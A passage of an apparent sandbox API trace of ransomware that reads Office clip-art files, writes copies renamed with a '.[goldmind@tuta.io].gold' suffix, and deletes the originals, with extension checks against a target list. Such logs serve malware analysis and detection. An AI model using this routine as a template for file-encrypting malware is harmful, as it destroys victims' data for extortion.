(lpString1=".ppt", lpString2=".WMF") returned -1 [0113.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.837] lstrlenW (lpString=".zip") returned 4 [0113.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.837] lstrlenW (lpString=".rar") returned 4 [0113.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.837] lstrlenW (lpString=".bz2") returned 4 [0113.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.837] lstrlenW (lpString=".7z") returned 3 [0113.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.837] lstrlenW (lpString=".dbf") returned 4 [0113.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.837] lstrlenW (lpString=".1cd") returned 4 [0113.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0113.837] lstrlenW (lpString=".jpg") returned 4 [0113.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.837] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.837] lstrlenW (lpString="J0188587.WMF") returned 12 [0113.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.838] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=15196) returned 1 [0113.838] CloseHandle (hObject=0x198) returned 1 [0113.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 0x20 [0113.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.838] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.838] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.839] GetLastError () returned 0x0 [0113.839] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3b5c, lpOverlapped=0x0) returned 1 [0113.846] WriteFile (in: hFile=0x3e0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3b60, lpOverlapped=0x0) returned 1 [0113.847] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.847] WriteFile (in: hFile=0x3e0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.847] SetEndOfFile (hFile=0x3e0) returned 1 [0113.847] CloseHandle (hObject=0x3e0) returned 1 [0113.847] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.847] SetEndOfFile (hFile=0x198) returned 1 [0113.849] CloseHandle (hObject=0x198) returned 1 [0113.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 1 [0113.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.850] lstrlenW (lpString=".doc") returned 4 [0113.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.850] lstrlenW (lpString=".docx") returned 5 [0113.850] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.850] lstrlenW (lpString=".pdf") returned 4 [0113.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.850] lstrlenW (lpString=".xls") returned 4 [0113.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.850] lstrlenW (lpString=".xlsx") returned 5 [0113.850] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.850] lstrlenW (lpString=".ppt") returned 4 [0113.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".zip") returned 4 [0113.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.851] lstrlenW (lpString=".rar") returned 4 [0113.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString=".bz2") returned 4 [0113.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString=".7z") returned 3 [0113.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".dbf") returned 4 [0113.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".1cd") returned 4 [0113.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".jpg") returned 4 [0113.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".doc") returned 4 [0113.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString=".docx") returned 5 [0113.851] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.851] lstrlenW (lpString=".pdf") returned 4 [0113.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString=".xls") returned 4 [0113.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.851] lstrlenW (lpString=".xlsx") returned 5 [0113.851] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.851] lstrlenW (lpString=".ppt") returned 4 [0113.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".zip") returned 4 [0113.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.851] lstrlenW (lpString=".rar") returned 4 [0113.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString=".bz2") returned 4 [0113.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString=".7z") returned 3 [0113.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".dbf") returned 4 [0113.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".1cd") returned 4 [0113.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0113.851] lstrlenW (lpString=".jpg") returned 4 [0113.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.852] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.852] lstrlenW (lpString="J0188667.WMF") returned 12 [0113.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.852] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=16030) returned 1 [0113.852] CloseHandle (hObject=0x198) returned 1 [0113.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf")) returned 0x20 [0113.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.853] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.853] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.853] GetLastError () returned 0x0 [0113.853] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3e9e, lpOverlapped=0x0) returned 1 [0113.855] WriteFile (in: hFile=0x3e0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3ea0, lpOverlapped=0x0) returned 1 [0113.856] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.856] WriteFile (in: hFile=0x3e0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.856] SetEndOfFile (hFile=0x3e0) returned 1 [0113.856] CloseHandle (hObject=0x3e0) returned 1 [0113.856] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.856] SetEndOfFile (hFile=0x198) returned 1 [0113.859] CloseHandle (hObject=0x198) returned 1 [0113.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf")) returned 1 [0113.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.860] lstrlenW (lpString=".doc") returned 4 [0113.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.860] lstrlenW (lpString=".docx") returned 5 [0113.860] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.860] lstrlenW (lpString=".pdf") returned 4 [0113.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.860] lstrlenW (lpString=".xls") returned 4 [0113.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.861] lstrlenW (lpString=".xlsx") returned 5 [0113.861] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.861] lstrlenW (lpString=".ppt") returned 4 [0113.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".zip") returned 4 [0113.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.861] lstrlenW (lpString=".rar") returned 4 [0113.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString=".bz2") returned 4 [0113.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString=".7z") returned 3 [0113.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".dbf") returned 4 [0113.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".1cd") returned 4 [0113.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".jpg") returned 4 [0113.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".doc") returned 4 [0113.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString=".docx") returned 5 [0113.861] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0113.861] lstrlenW (lpString=".pdf") returned 4 [0113.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString=".xls") returned 4 [0113.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.861] lstrlenW (lpString=".xlsx") returned 5 [0113.861] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0113.861] lstrlenW (lpString=".ppt") returned 4 [0113.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".zip") returned 4 [0113.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.861] lstrlenW (lpString=".rar") returned 4 [0113.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString=".bz2") returned 4 [0113.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString=".7z") returned 3 [0113.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".dbf") returned 4 [0113.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".1cd") returned 4 [0113.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF") returned 63 [0113.861] lstrlenW (lpString=".jpg") returned 4 [0113.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.862] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.862] lstrlenW (lpString="J0188669.WMF") returned 12 [0113.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.863] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=29602) returned 1 [0113.863] CloseHandle (hObject=0x198) returned 1 [0113.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 0x20 [0113.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0113.863] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.863] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.864] GetLastError () returned 0x0 [0113.864] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x73a2, lpOverlapped=0x0) returned 1 [0113.888] WriteFile (in: hFile=0x3e0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x73b0, lpOverlapped=0x0) returned 1 [0113.889] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.889] WriteFile (in: hFile=0x3e0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.889] SetEndOfFile (hFile=0x3e0) returned 1 [0113.889] CloseHandle (hObject=0x3e0) returned 1 [0113.889] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.889] SetEndOfFile (hFile=0x198) returned 1 [0113.892] CloseHandle (hObject=0x198) returned 1 [0113.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf")) returned 1 [0113.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.893] lstrlenW (lpString=".doc") returned 4 [0113.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.983] lstrlenW (lpString=".docx") returned 5 [0113.983] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.983] lstrlenW (lpString=".pdf") returned 4 [0113.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.983] lstrlenW (lpString=".xls") returned 4 [0113.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.983] lstrlenW (lpString=".xlsx") returned 5 [0113.983] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.983] lstrlenW (lpString=".ppt") returned 4 [0113.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.983] lstrlenW (lpString=".zip") returned 4 [0113.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.984] lstrlenW (lpString=".rar") returned 4 [0113.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString=".bz2") returned 4 [0113.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString=".7z") returned 3 [0113.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.984] lstrlenW (lpString=".dbf") returned 4 [0113.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.984] lstrlenW (lpString=".1cd") returned 4 [0113.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.984] lstrlenW (lpString=".jpg") returned 4 [0113.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.984] lstrlenW (lpString=".doc") returned 4 [0113.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString=".docx") returned 5 [0113.984] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.984] lstrlenW (lpString=".pdf") returned 4 [0113.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString=".xls") returned 4 [0113.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.984] lstrlenW (lpString=".xlsx") returned 5 [0113.984] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.984] lstrlenW (lpString=".ppt") returned 4 [0113.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.984] lstrlenW (lpString=".zip") returned 4 [0113.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.984] lstrlenW (lpString=".rar") returned 4 [0113.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString=".bz2") returned 4 [0113.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.984] lstrlenW (lpString=".7z") returned 3 [0113.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0113.985] lstrlenW (lpString=".dbf") returned 4 [0113.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.985] lstrlenW (lpString="C:\\Program Files\\Microsoft 